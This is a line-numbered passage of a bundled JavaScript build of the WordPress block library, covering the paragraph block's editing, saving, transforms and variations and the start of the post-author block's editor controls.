36540 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
36541 color: textClass ? void 0 : customTextColor,
36542 fontSize: fontSizeClass ? void 0 : customFontSize,
36543 textAlign: align
36544 };
36545 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36546 external_wp_blockEditor_namespaceObject.RichText.Content,
36547 {
36548 tagName: "p",
36549 style: styles,
36550 className: className ? className : void 0,
36551 value: content
36552 }
36553 );
36554 }
36555 },
36556 {
36557 supports: deprecated_supports,
36558 attributes: {
36559 ...restBlockAttributes,
36560 fontSize: {
36561 type: "number"
36562 }
36563 },
36564 save({ attributes }) {
36565 const {
36566 width,
36567 align,
36568 content,
36569 dropCap,
36570 backgroundColor,
36571 textColor,
36572 fontSize
36573 } = attributes;
36574 const className = dist_clsx({
36575 [`align${width}`]: width,
36576 "has-background": backgroundColor,
36577 "has-drop-cap": dropCap
36578 });
36579 const styles = {
36580 backgroundColor,
36581 color: textColor,
36582 fontSize,
36583 textAlign: align
36584 };
36585 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36586 "p",
36587 {
36588 style: styles,
36589 className: className ? className : void 0,
36590 children: content
36591 }
36592 );
36593 },
36594 migrate(attributes) {
36595 return migrateCustomColorsAndFontSizes({
36596 ...attributes,
36597 customFontSize: Number.isFinite(attributes.fontSize) ? attributes.fontSize : void 0,
36598 customTextColor: attributes.textColor && "#" === attributes.textColor[0] ? attributes.textColor : void 0,
36599 customBackgroundColor: attributes.backgroundColor && "#" === attributes.backgroundColor[0] ? attributes.backgroundColor : void 0
36600 });
36601 }
36602 },
36603 {
36604 supports: deprecated_supports,
36605 attributes: {
36606 ...paragraph_deprecated_blockAttributes,
36607 content: {
36608 type: "string",
36609 source: "html",
36610 default: ""
36611 }
36612 },
36613 save({ attributes }) {
36614 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: attributes.content });
36615 },
36616 migrate(attributes) {
36617 return attributes;
36618 }
36619 }
36620];
36621var paragraph_deprecated_deprecated_default = paragraph_deprecated_deprecated;
36622
36623
36624;// ./node_modules/@wordpress/icons/build-module/library/format-ltr.js
36625
36626
36627var format_ltr_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 9c0 2.8 2.2 5 5 5v-.2V20h1.5V5.5H12V20h1.5V5.5h3V4H8C5.2 4 3 6.2 3 9Zm15.9-1-1.1 1 2.6 3-2.6 3 1.1 1 3.4-4-3.4-4Z" }) });
36628
36629
36630;// ./node_modules/@wordpress/block-library/build-module/paragraph/use-enter.js
36631
36632
36633
36634
36635
36636
36637function useOnEnter(props) {
36638 const { batch } = (0,external_wp_data_namespaceObject.useRegistry)();
36639 const {
36640 moveBlocksToPosition,
36641 replaceInnerBlocks,
36642 duplicateBlocks,
36643 insertBlock
36644 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
36645 const {
36646 getBlockRootClientId,
36647 getBlockIndex,
36648 getBlockOrder,
36649 getBlockName,
36650 getBlock,
36651 getNextBlockClientId,
36652 canInsertBlockType
36653 } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
36654 const propsRef = (0,external_wp_element_namespaceObject.useRef)(props);
36655 propsRef.current = props;
36656 return (0,external_wp_compose_namespaceObject.useRefEffect)((element) => {
36657 function onKeyDown(event) {
36658 if (event.defaultPrevented) {
36659 return;
36660 }
36661 if (event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
36662 return;
36663 }
36664 const { content, clientId } = propsRef.current;
36665 if (content.length) {
36666 return;
36667 }
36668 const wrapperClientId = getBlockRootClientId(clientId);
36669 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(
36670 getBlockName(wrapperClientId),
36671 "__experimentalOnEnter",
36672 false
36673 )) {
36674 return;
36675 }
36676 const order = getBlockOrder(wrapperClientId);
36677 const position = order.indexOf(clientId);
36678 if (position === order.length - 1) {
36679 let newWrapperClientId = wrapperClientId;
36680 while (!canInsertBlockType(
36681 getBlockName(clientId),
36682 getBlockRootClientId(newWrapperClientId)
36683 )) {
36684 newWrapperClientId = getBlockRootClientId(newWrapperClientId);
36685 }
36686 if (typeof newWrapperClientId === "string") {
36687 event.preventDefault();
36688 moveBlocksToPosition(
36689 [clientId],
36690 wrapperClientId,
36691 getBlockRootClientId(newWrapperClientId),
36692 getBlockIndex(newWrapperClientId) + 1
36693 );
36694 }
36695 return;
36696 }
36697 const defaultBlockName = (0,external_wp_blocks_namespaceObject.getDefaultBlockName)();
36698 if (!canInsertBlockType(
36699 defaultBlockName,
36700 getBlockRootClientId(wrapperClientId)
36701 )) {
36702 return;
36703 }
36704 event.preventDefault();
36705 const wrapperBlock = getBlock(wrapperClientId);
36706 batch(() => {
36707 duplicateBlocks([wrapperClientId]);
36708 const blockIndex = getBlockIndex(wrapperClientId);
36709 replaceInnerBlocks(
36710 wrapperClientId,
36711 wrapperBlock.innerBlocks.slice(0, position)
36712 );
36713 replaceInnerBlocks(
36714 getNextBlockClientId(wrapperClientId),
36715 wrapperBlock.innerBlocks.slice(position + 1)
36716 );
36717 insertBlock(
36718 (0,external_wp_blocks_namespaceObject.createBlock)(defaultBlockName),
36719 blockIndex + 1,
36720 getBlockRootClientId(wrapperClientId),
36721 true
36722 );
36723 });
36724 }
36725 element.addEventListener("keydown", onKeyDown);
36726 return () => {
36727 element.removeEventListener("keydown", onKeyDown);
36728 };
36729 }, []);
36730}
36731
36732
36733;// ./node_modules/@wordpress/block-library/build-module/paragraph/edit.js
36734
36735
36736
36737
36738
36739
36740
36741
36742function ParagraphRTLControl({ direction, setDirection }) {
36743 return (0,external_wp_i18n_namespaceObject.isRTL)() && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36744 external_wp_components_namespaceObject.ToolbarButton,
36745 {
36746 icon: format_ltr_default,
36747 title: (0,external_wp_i18n_namespaceObject._x)("Left to right", "editor button"),
36748 isActive: direction === "ltr",
36749 onClick: () => {
36750 setDirection(direction === "ltr" ? void 0 : "ltr");
36751 }
36752 }
36753 );
36754}
36755function hasDropCapDisabled(align) {
36756 return align === ((0,external_wp_i18n_namespaceObject.isRTL)() ? "left" : "right") || align === "center";
36757}
36758function DropCapControl({ clientId, attributes, setAttributes, name }) {
36759 const [isDropCapFeatureEnabled] = (0,external_wp_blockEditor_namespaceObject.useSettings)("typography.dropCap");
36760 if (!isDropCapFeatureEnabled) {
36761 return null;
36762 }
36763 const { align, dropCap } = attributes;
36764 let helpText;
36765 if (hasDropCapDisabled(align)) {
36766 helpText = (0,external_wp_i18n_namespaceObject.__)("Not available for aligned text.");
36767 } else if (dropCap) {
36768 helpText = (0,external_wp_i18n_namespaceObject.__)("Showing large initial letter.");
36769 } else {
36770 helpText = (0,external_wp_i18n_namespaceObject.__)("Show a large initial letter.");
36771 }
36772 const isDropCapControlEnabledByDefault = (0,external_wp_blocks_namespaceObject.getBlockSupport)(
36773 name,
36774 "typography.defaultControls.dropCap",
36775 false
36776 );
36777 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "typography", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36778 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
36779 {
36780 hasValue: () => !!dropCap,
36781 label: (0,external_wp_i18n_namespaceObject.__)("Drop cap"),
36782 isShownByDefault: isDropCapControlEnabledByDefault,
36783 onDeselect: () => setAttributes({ dropCap: false }),
36784 resetAllFilter: () => ({ dropCap: false }),
36785 panelId: clientId,
36786 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36787 external_wp_components_namespaceObject.ToggleControl,
36788 {
36789 __nextHasNoMarginBottom: true,
36790 label: (0,external_wp_i18n_namespaceObject.__)("Drop cap"),
36791 checked: !!dropCap,
36792 onChange: () => setAttributes({ dropCap: !dropCap }),
36793 help: helpText,
36794 disabled: hasDropCapDisabled(align)
36795 }
36796 )
36797 }
36798 ) });
36799}
36800function ParagraphBlock({
36801 attributes,
36802 mergeBlocks,
36803 onReplace,
36804 onRemove,
36805 setAttributes,
36806 clientId,
36807 isSelected: isSingleSelected,
36808 name
36809}) {
36810 const { align, content, direction, dropCap, placeholder } = attributes;
36811 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
36812 ref: useOnEnter({ clientId, content }),
36813 className: dist_clsx({
36814 "has-drop-cap": hasDropCapDisabled(align) ? false : dropCap,
36815 [`has-text-align-${align}`]: align
36816 }),
36817 style: { direction }
36818 });
36819 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
36820 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
36821 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
36822 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36823 external_wp_blockEditor_namespaceObject.AlignmentControl,
36824 {
36825 value: align,
36826 onChange: (newAlign) => setAttributes({
36827 align: newAlign,
36828 dropCap: hasDropCapDisabled(newAlign) ? false : dropCap
36829 })
36830 }
36831 ),
36832 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36833 ParagraphRTLControl,
36834 {
36835 direction,
36836 setDirection: (newDirection) => setAttributes({ direction: newDirection })
36837 }
36838 )
36839 ] }),
36840 isSingleSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36841 DropCapControl,
36842 {
36843 name,
36844 clientId,
36845 attributes,
36846 setAttributes
36847 }
36848 ),
36849 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36850 external_wp_blockEditor_namespaceObject.RichText,
36851 {
36852 identifier: "content",
36853 tagName: "p",
36854 ...blockProps,
36855 value: content,
36856 onChange: (newContent) => setAttributes({ content: newContent }),
36857 onMerge: mergeBlocks,
36858 onReplace,
36859 onRemove,
36860 "aria-label": external_wp_blockEditor_namespaceObject.RichText.isEmpty(content) ? (0,external_wp_i18n_namespaceObject.__)(
36861 "Empty block; start writing or type forward slash to choose a block"
36862 ) : (0,external_wp_i18n_namespaceObject.__)("Block: Paragraph"),
36863 "data-empty": external_wp_blockEditor_namespaceObject.RichText.isEmpty(content),
36864 placeholder: placeholder || (0,external_wp_i18n_namespaceObject.__)("Type / to choose a block"),
36865 "data-custom-placeholder": placeholder ? true : void 0,
36866 __unstableEmbedURLOnPaste: true,
36867 __unstableAllowPrefixTransformations: true
36868 }
36869 )
36870 ] });
36871}
36872var paragraph_edit_edit_default = ParagraphBlock;
36873
36874
36875;// ./node_modules/@wordpress/block-library/build-module/paragraph/block.json
36876const paragraph_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/paragraph","title":"Paragraph","category":"text","description":"Start with the basic building block of all narrative.","keywords":["text"],"textdomain":"default","attributes":{"align":{"type":"string"},"content":{"type":"rich-text","source":"rich-text","selector":"p","role":"content"},"dropCap":{"type":"boolean","default":false},"placeholder":{"type":"string"},"direction":{"type":"string","enum":["ltr","rtl"]}},"supports":{"splitting":true,"anchor":true,"className":false,"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalTextDecoration":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalWritingMode":true,"fitText":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalSelector":"p","__unstablePasteTextInline":true,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-paragraph-editor","style":"wp-block-paragraph"}');
36877;// ./node_modules/@wordpress/block-library/build-module/paragraph/save.js
36878
36879
36880
36881
36882function paragraph_save_save({ attributes }) {
36883 const { align, content, dropCap, direction } = attributes;
36884 const className = dist_clsx({
36885 "has-drop-cap": align === ((0,external_wp_i18n_namespaceObject.isRTL)() ? "left" : "right") || align === "center" ? false : dropCap,
36886 [`has-text-align-${align}`]: align
36887 });
36888 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
36889}
36890
36891
36892;// ./node_modules/@wordpress/block-library/build-module/paragraph/transforms.js
36893
36894
36895const paragraph_transforms_transforms = {
36896 from: [
36897 {
36898 type: "raw",
36899 // Paragraph is a fallback and should be matched last.
36900 priority: 20,
36901 selector: "p",
36902 schema: ({ phrasingContentSchema, isPaste }) => ({
36903 p: {
36904 children: phrasingContentSchema,
36905 attributes: isPaste ? [] : ["style", "id"]
36906 }
36907 }),
36908 transform(node) {
36909 const attributes = (0,external_wp_blocks_namespaceObject.getBlockAttributes)(paragraph_block_namespaceObject.name, node.outerHTML);
36910 const { textAlign } = node.style || {};
36911 if (textAlign === "left" || textAlign === "center" || textAlign === "right") {
36912 attributes.align = textAlign;
36913 }
36914 return (0,external_wp_blocks_namespaceObject.createBlock)(paragraph_block_namespaceObject.name, attributes);
36915 }
36916 }
36917 ]
36918};
36919var paragraph_transforms_transforms_default = paragraph_transforms_transforms;
36920
36921
36922;// ./node_modules/@wordpress/block-library/build-module/paragraph/variations.js
36923
36924
36925
36926
36927const paragraph_variations_variations = [
36928 {
36929 name: "paragraph",
36930 title: (0,external_wp_i18n_namespaceObject.__)("Paragraph"),
36931 description: (0,external_wp_i18n_namespaceObject.__)(
36932 "Start with the basic building block of all narrative."
36933 ),
36934 isDefault: true,
36935 scope: ["block", "inserter", "transform"],
36936 attributes: { fitText: void 0 },
36937 icon: paragraph_default
36938 },
36939 // There is a hardcoded workaround in packages/block-editor/src/store/selectors.js
36940 // to make Stretchy variations appear as the last of their sections in the inserter.
36941 {
36942 name: "stretchy-paragraph",
36943 title: (0,external_wp_i18n_namespaceObject.__)("Stretchy Paragraph"),
36944 description: (0,external_wp_i18n_namespaceObject.__)("Paragraph that resizes to fit its container."),
36945 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 9c0 2.8 2.2 5 5 5v-.2V20h1.5V5.5H12V20h1.5V5.5h3V4H8C5.2 4 3 6.2 3 9Zm16.2-.2v1.5h2.2L17.7 14l1.1 1.1 3.7-3.7v2.2H24V8.8h-4.8Z" }) }),
36946 attributes: {
36947 fitText: true
36948 },
36949 scope: ["inserter", "transform"],
36950 isActive: (blockAttributes) => blockAttributes.fitText === true
36951 }
36952];
36953var paragraph_variations_variations_default = paragraph_variations_variations;
36954
36955
36956;// ./node_modules/@wordpress/block-library/build-module/paragraph/index.js
36957
36958
36959
36960
36961
36962
36963
36964
36965
36966const { name: paragraph_name } = paragraph_block_namespaceObject;
36967const paragraph_settings = {
36968 icon: paragraph_default,
36969 example: {
36970 attributes: {
36971 content: (0,external_wp_i18n_namespaceObject.__)(
36972 "In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing."
36973 )
36974 }
36975 },
36976 __experimentalLabel(attributes, { context }) {
36977 const customName = attributes?.metadata?.name;
36978 if (context === "list-view" && customName) {
36979 return customName;
36980 }
36981 if (context === "accessibility") {
36982 if (customName) {
36983 return customName;
36984 }
36985 const { content } = attributes;
36986 return !content || content.length === 0 ? (0,external_wp_i18n_namespaceObject.__)("Empty") : content;
36987 }
36988 },
36989 transforms: paragraph_transforms_transforms_default,
36990 deprecated: paragraph_deprecated_deprecated_default,
36991 merge(attributes, attributesToMerge) {
36992 return {
36993 content: (attributes.content || "") + (attributesToMerge.content || "")
36994 };
36995 },
36996 edit: paragraph_edit_edit_default,
36997 save: paragraph_save_save,
36998 variations: paragraph_variations_variations_default
36999};
37000const paragraph_init = () => initBlock({ name: paragraph_name, metadata: paragraph_block_namespaceObject, settings: paragraph_settings });
37001
37002
37003;// ./node_modules/@wordpress/icons/build-module/library/post-author.js
37004
37005
37006var post_author_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37007 external_wp_primitives_namespaceObject.Path,
37008 {
37009 d: "M10 4.5a1 1 0 11-2 0 1 1 0 012 0zm1.5 0a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm2.25 7.5v-1A2.75 2.75 0 0011 8.25H7A2.75 2.75 0 004.25 11v1h1.5v-1c0-.69.56-1.25 1.25-1.25h4c.69 0 1.25.56 1.25 1.25v1h1.5zM4 20h9v-1.5H4V20zm16-4H4v-1.5h16V16z",
37010 fillRule: "evenodd",
37011 clipRule: "evenodd"
37012 }
37013) });
37014
37015
37016;// ./node_modules/@wordpress/block-library/build-module/post-author/block.json
37017const post_author_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-author","title":"Author","category":"theme","description":"Display post author details such as name, avatar, and bio.","textdomain":"default","attributes":{"textAlign":{"type":"string"},"avatarSize":{"type":"number","default":48},"showAvatar":{"type":"boolean","default":true},"showBio":{"type":"boolean"},"byline":{"type":"string"},"isLink":{"type":"boolean","default":false,"role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"}},"usesContext":["postType","postId","queryId"],"supports":{"html":false,"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}},"filter":{"duotone":true}},"selectors":{"filter":{"duotone":".wp-block-post-author .wp-block-post-author__avatar img"}},"editorStyle":"wp-block-post-author-editor","style":"wp-block-post-author"}');
37018;// ./node_modules/@wordpress/block-library/build-module/post-author/edit.js
37019
37020
37021
37022
37023
37024
37025
37026
37027
37028
37029
37030const edit_AUTHORS_QUERY = {
37031 who: "authors",
37032 per_page: 100,
37033 _fields: "id,name",
37034 context: "view"
37035};
37036function AuthorCombobox({ value, onChange }) {
37037 const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)("");
37038 const { authors, isLoading } = (0,external_wp_data_namespaceObject.useSelect)(
37039 (select) => {
37040 const { getUsers, isResolving } = select(external_wp_coreData_namespaceObject.store);
37041 const query = { ...edit_AUTHORS_QUERY };
37042 if (filterValue) {
37043 query.search = filterValue;
37044 query.search_columns = ["name"];
37045 }
37046 return {
37047 authors: getUsers(query),
37048 isLoading: isResolving("getUsers", [query])
37049 };
37050 },
37051 [filterValue]
37052 );
37053 const authorOptions = (0,external_wp_element_namespaceObject.useMemo)(() => {
37054 const fetchedAuthors = (authors ?? []).map((author) => {
37055 return {
37056 value: author.id,
37057 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(author.name)
37058 };
37059 });
37060 const foundAuthor = fetchedAuthors.findIndex(
37061 (fetchedAuthor) => value?.id === fetchedAuthor.value
37062 );
37063 let currentAuthor = [];
37064 if (foundAuthor < 0 && value) {
37065 currentAuthor = [
37066 {
37067 value: value.id,
37068 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(value.name)
37069 }
37070 ];
37071 } else if (foundAuthor < 0 && !value) {
37072 currentAuthor = [
37073 {
37074 value: 0,
37075 label: (0,external_wp_i18n_namespaceObject.__)("(No author)")
37076 }
37077 ];
37078 }
37079 return [...currentAuthor, ...fetchedAuthors];
37080 }, [authors, value]);
37081 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37082 external_wp_components_namespaceObject.ComboboxControl,
37083 {
37084 __next40pxDefaultSize: true,
37085 __nextHasNoMarginBottom: true,
37086 label: (0,external_wp_i18n_namespaceObject.__)("Author"),
37087 options: authorOptions,
37088 value: value?.id,
37089 onFilterValueChange: (0,external_wp_compose_namespaceObject.debounce)(setFilterValue, 300),
37090 onChange,
37091 allowReset: false,
37092 isLoading
37093 }
37094 );
37095}
37096function PostAuthorEdit({
37097 isSelected,
37098 context: { postType, postId, queryId },
37099 attributes,
37100 setAttributes
37101}) {
37102 const isDescendentOfQueryLoop = Number.isFinite(queryId);
37103 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
37104 const defaultAvatar = useDefaultAvatar();
37105 const { authorDetails, canAssignAuthor, supportsAuthor } = (0,external_wp_data_namespaceObject.useSelect)(
37106 (select) => {
37107 const { getEditedEntityRecord, getUser, getPostType } = select(external_wp_coreData_namespaceObject.store);
37108 const currentPost = getEditedEntityRecord(
37109 "postType",
37110 postType,
37111 postId
37112 );
37113 const authorId = currentPost?.author;
37114 return {
37115 authorDetails: authorId ? getUser(authorId, { context: "view" }) : null,
37116 supportsAuthor: getPostType(postType)?.supports?.author ?? false,
37117 canAssignAuthor: currentPost?._links?.["wp:action-assign-author"] ? true : false
37118 };
37119 },
37120 [postType, postId]
37121 );
37122 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
37123 const {
37124 textAlign,
37125 showAvatar,
37126 showBio,
37127 byline,
37128 isLink,
37129 linkTarget,
37130 avatarSize
37131 } = attributes;
37132 const avatarSizes = [];
37133 const authorName = authorDetails?.name || (0,external_wp_i18n_namespaceObject.__)("Post Author");
37134 if (authorDetails?.avatar_urls) {
37135 Object.keys(authorDetails.avatar_urls).forEach((size) => {
37136 avatarSizes.push({
37137 value: size,
37138 label: `${size} x ${size}`
37139 });
37140 });
37141 }
37142 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37143 className: dist_clsx({
37144 [`has-text-align-${textAlign}`]: textAlign
37145 })
37146 });
37147 const handleSelect = (nextAuthorId) => {
37148 editEntityRecord("postType", postType, postId, {
37149 author: nextAuthorId
37150 });
37151 };
37152 const showAuthorControl = !!postId && !isDescendentOfQueryLoop && canAssignAuthor;
37153 if (!supportsAuthor && postType !== void 0) {
37154 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: (0,external_wp_i18n_namespaceObject.sprintf)(
37155 // translators: %s: Name of the post type e.g: "post".
37156 (0,external_wp_i18n_namespaceObject.__)("This post type (%s) does not support the author."),
37157 postType
37158 ) });
37159 }
37160 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37161 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
37162 external_wp_components_namespaceObject.__experimentalToolsPanel,
37163 {
37164 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
37165 resetAll: () => {
37166 setAttributes({
37167 avatarSize: 48,
37168 showAvatar: true,
37169 isLink: false,
37170 linkTarget: "_self"
37171 });
37172 },
37173 dropdownMenuProps,
37174 children: [
37175 showAuthorControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { gridColumn: "1 / -1" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37176 AuthorCombobox,
37177 {
37178 value: authorDetails,
37179 onChange: handleSelect
37180 }
37181 ) }),
37182 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37183 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37184 {
37185 label: (0,external_wp_i18n_namespaceObject.__)("Show avatar"),
37186 isShownByDefault: true,
37187 hasValue: () => !showAvatar,
37188 onDeselect: () => setAttributes({ showAvatar: true }),
37189 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37190 external_wp_components_namespaceObject.ToggleControl,
37191 {
37192 __nextHasNoMarginBottom: true,
37193 label: (0,external_wp_i18n_namespaceObject.__)("Show avatar"),
37194 checked: showAvatar,
37195 onChange: () => setAttributes({
37196 showAvatar: !showAvatar
37197 })
37198 }
37199 )
37200 }
37201 ),
37202 showAvatar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37203 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37204 {
37205 label: (0,external_wp_i18n_namespaceObject.__)("Avatar size"),
37206 isShownByDefault: true,
37207 hasValue: () => avatarSize !== 48,
37208 onDeselect: () => setAttributes({ avatarSize: 48 }),
37209 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37210 external_wp_components_namespaceObject.SelectControl,
37211 {
37212 __next40pxDefaultSize: true,
37213 __nextHasNoMarginBottom: true,
37214 label: (0,external_wp_i18n_namespaceObject.__)("Avatar size"),
37215 value: avatarSize,
37216 options: avatarSizes,
37217 onChange: (size) => {
37218 setAttributes({
37219 avatarSize: Number(size)
37220 });
37221 }
37222 }
37223 )
37224 }
37225 ),
37226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37227 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37228 {
37229 label: (0,external_wp_i18n_namespaceObject.__)("Show bio"),
37230 isShownByDefault: true,
37231 hasValue: () => !!showBio,
37232 onDeselect: () => setAttributes({ showBio: void 0 }),
37233 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37234 external_wp_components_namespaceObject.ToggleControl,
37235 {
37236 __nextHasNoMarginBottom: true,
37237 label: (0,external_wp_i18n_namespaceObject.__)("Show bio"),
37238 checked: !!showBio,
37239 onChange: () => setAttributes({ showBio: !showBio })
37240 }
37241 )
37242 }
37243 ),
37244 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37245 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37246 {
37247 label: (0,external_wp_i18n_namespaceObject.__)("Link author name to author page"),
37248 isShownByDefault: true,
37249 hasValue: () => !!isLink,
37250 onDeselect: () => setAttributes({ isLink: false }),
37251 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37252 external_wp_components_namespaceObject.ToggleControl,
37253 {
37254 __nextHasNoMarginBottom: true,
37255 label: (0,external_wp_i18n_namespaceObject.__)("Link author name to author page"),
37256 checked: isLink,
37257 onChange: () => setAttributes({ isLink: !isLink })
37258 }
37259 )
37260 }
37261 ),
37262 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37263 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37264 {
37265 label: (0,external_wp_i18n_namespaceObject.__)("Link target"),
37266 isShownByDefault: true,
37267 hasValue: () => linkTarget !== "_self",
37268 onDeselect: () => setAttributes({ linkTarget: "_self" }),
37269 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37270 external_wp_components_namespaceObject.ToggleControl,
37271 {
37272 __nextHasNoMarginBottom: true,
37273 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
37274 onChange: (value) => setAttributes({
37275 linkTarget: value ? "_blank" : "_self"
37276 }),
37277 checked: linkTarget === "_blank"
37278 }
37279 )
37280 }
37281 )
37282 ]
37283 }
37284 ) }),
37285 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37286 external_wp_blockEditor_namespaceObject.AlignmentControl,
37287 {
37288 value: textAlign,
37289 onChange: (nextAlign) => {
37290 setAttributes({ textAlign: nextAlign });
37291 }
37292 }
37293 ) }),
37294 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
37295 showAvatar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-post-author__avatar", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37296 "img",
37297 {
37298 width: avatarSize,
37299 src: authorDetails?.avatar_urls?.[avatarSize] || defaultAvatar,
37300 alt: authorDetails?.name || (0,external_wp_i18n_namespaceObject.__)("Default Avatar")
37301 }
37302 ) }),
